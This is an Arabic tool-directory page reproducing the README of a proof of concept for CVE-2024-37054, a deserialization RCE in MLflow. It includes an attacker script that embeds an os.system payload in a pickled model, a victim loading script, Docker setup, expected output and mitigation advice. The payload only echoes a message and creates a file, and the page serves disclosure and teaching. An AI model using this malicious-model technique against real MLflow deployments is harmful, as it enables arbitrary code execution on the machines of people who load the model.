Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054، يحتوي هذا المستودع على إثبات للمفهوم (PoC) ثغرة إلغاء تسلسل حرجة في MLflow تسمح بتنفيذ التعليمات البرمجية عن بُعد (RCE).

عرض المستودع
329منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 مجموعة أدوات OSINT المثالية: رسم بياني للتحقيق، وتقييم الثقة، وعائلات الأسماء المستعارة، وخريطة، وخط زمني، وتقارير. 49 وحدة، وأكثر من 400 موقع، دون الحاجة إلى مفاتيح API.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    منصة CSIRT تستقبل تقارير Shadowserver في MongoDB وتعيد عرضها كخرائط تفاعلية وتحليلات ونتائج وإرشادات ولوحات معلومات تنفيذية.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer هي منصة مفتوحة المصدر لإدارة الامتيازات (PAM) توفر لفرق DevOps وتكنولوجيا المعلومات وصولًا آمنًا عند الطلب إلى نقاط نهاية SSH وRDP وKubernetes وقواعد البيانات وRemoteApp عبر متصفح الويب.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF مستضافة ذاتيًا ووكيل عكسي يقوم بتصفية حركة المرور HTTP الضارة، ويمنع هجمات SQL injection و XSS وهجمات البوت، مع تحديد معدل الطلبات وتشفير HTML/JS الديناميكي.

    333
  • 6

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    330

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد في MLflow

CVE License GitHub LinkedIn


يحتوي هذا المستودع على إثبات المفهوم (PoC) للثغرة CVE-2024-37054، وهي ثغرة حرجة في إلغاء التسلسل في MLflow تتيح تنفيذ التعليمات البرمجية عن بُعد (RCE).

📚 جدول المحتويات

  • تفاصيل الثغرة
  • إثبات المفهوم (PoC)
  • التخفيف
  • المراجع
  • عن المؤلف

🚨 تفاصيل الثغرة

  • معرّف CVE: CVE-2024-37054
  • الملخص: توجد ثغرة في إلغاء التسلسل في دالة mlflow.pyfunc.load_model. يمكن للمهاجم إنشاء نموذج خبيث يحتوي على حمولة مُسلسَلة (pickled). عندما يقوم الضحية بتحميل هذا النموذج، يتم إلغاء تسلسل الحمولة عبر cloudpickle.load، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية على جهاز الضحية.
  • المنتجات المتأثرة: إصدارات MLflow من 0.9.0 وحتى ما قبل 2.14.2.
  • الدالة المعرضة للثغرة: _load_pyfunc داخل mlflow/pyfunc/model.py.

🛠️ إثبات المفهوم (PoC)

يحاكي إثبات المفهوم هذا دورين: مهاجم يرفع نموذجًا خبيثًا وضحية يقوم بتحميله، مما يؤدي إلى تفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE).

1. إعداد البيئة

أسهل طريقة لإعداد خادم MLflow قابل للاستغلال هي باستخدام ملف Dockerfile المرفق.

بناء حاوية Docker وتشغيلها:

# 1. Build the Docker image
docker build -t mlflow-vulnerable .

# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

يعمل خادم MLflow القابل للاستغلال الآن على http://127.0.0.1:5000.

2. خطوات التنفيذ

ستحتاج إلى طرفيتين منفصلتين على جهازك المضيف. تأكد من تثبيت إصدار قابل للاستغلال من mlflow محليًا (pip install mlflow==2.14.1) لتشغيل البرامج النصية للعميل.

الجزء 1: المهاجم - تسجيل النموذج الخبيث

في طرفيتك الأولى، شغّل برنامج المهاجم النصي لتسجيل النموذج الخبيث.

انقر لعرض برنامج المهاجم النصي (poc/log_malicious_model.py)
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

تشغيله:

python poc/log_malicious_model.py

الجزء 2: الضحية - تحميل النموذج القابل للاستغلال

في طرفيتك الثانية، شغّل برنامج الضحية النصي لمحاكاة تحميل النموذج المخترق.

انقر لعرض برنامج الضحية النصي (poc/load_vulnerable_model.py)
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

تشغيله:

python poc/load_vulnerable_model.py

3. مراقبة النتيجة

بعد تشغيل برنامج الضحية النصي، ستظهر لك الرسالة /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found في الطرفية، وسيتم إنشاء ملف جديد باسم pwned.txt في مجلدك. يؤكد هذا نجاح تنفيذ الأمر.


🛡️ التخفيف

  • ترقية MLflow: قم بالترقية إلى الإصدار 2.14.2 أو أحدث، حيث تم إصلاح هذه الثغرة.
  • لا تقم أبدًا بتحميل النماذج غير الموثوقة: حمّل نماذج تعلم الآلة (ML) فقط من مصادر تثق بها تمامًا.

🔍 المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • الاستشارة الأمنية الأصلية: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 عن المؤلف

تم تطوير إثبات المفهوم هذا بواسطة Pujari Niteesh.

  • مهندس أبحاث في الأمن السيبراني
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • الموقع الإلكتروني: www.niteesh.in
تنزيل الأداة